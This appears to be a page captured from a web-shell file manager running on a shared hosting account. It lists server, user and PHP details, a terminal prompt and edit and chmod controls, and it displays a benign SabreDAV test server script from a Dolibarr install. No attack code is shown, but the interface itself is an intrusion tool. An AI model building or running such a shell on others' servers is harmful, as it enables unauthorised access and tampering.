🚀 Hostinger Optimized
🖥️ Server: Apache
💻 System: Linux webm015.cluster127.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
👤 User: stakrfrcol (69043)
🐘 PHP: 8.3.31
🚫 Disabled: _dyuweyrj4,_dyuweyrj4r,dl

💻 Terminal

📁 /home/stakrfrcol/agency
$

📄 sabredav.php

📁 Path: /home/s/t/a/stakrfrcol/dolibarr/htdocs/includes/sabre/sabre/dav/bin/sabredav.php
📊 Size: 818 B
🔒 Perm: 0604
📝 MIME: text/x-php
<?php

// SabreDAV test server.

class CliLog
{
    protected $stream;

    public function __construct()
    {
        $this->stream = fopen('php://stdout', 'w');
    }

    public function log($msg)
    {
        fwrite($this->stream, $msg."\n");
    }
}

$log = new CliLog();

if ('cli-server' !== php_sapi_name()) {
    exit('This script is intended to run on the built-in php webserver');
}

// Finding composer

$paths = [
    __DIR__.'/../vendor/autoload.php',
    __DIR__.'/../../../autoload.php',
];

foreach ($paths as $path) {
    if (file_exists($path)) {
        include $path;
        break;
    }
}

use Sabre\DAV;

// Root
$root = new DAV\FS\Directory(getcwd());

// Setting up server.
$server = new DAV\Server($root);

// Browser plugin
$server->addPlugin(new DAV\Browser\Plugin());

$server->exec();
← Back📥 Raw✏️ Edit🔒 Chmod
✨ File Manager Magic ✨